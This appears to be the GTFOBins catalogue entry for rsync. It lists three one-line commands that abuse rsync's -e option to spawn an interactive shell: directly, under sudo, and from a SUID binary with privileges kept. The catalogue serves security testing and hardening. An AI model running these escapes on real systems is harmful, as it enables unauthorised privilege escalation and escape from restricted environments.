GTFOBins.github.io/_gtfobins/rsync.md

276 B

functions
execute-interactive sudo-enabled suid-enabled
code
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
code
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
code
./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null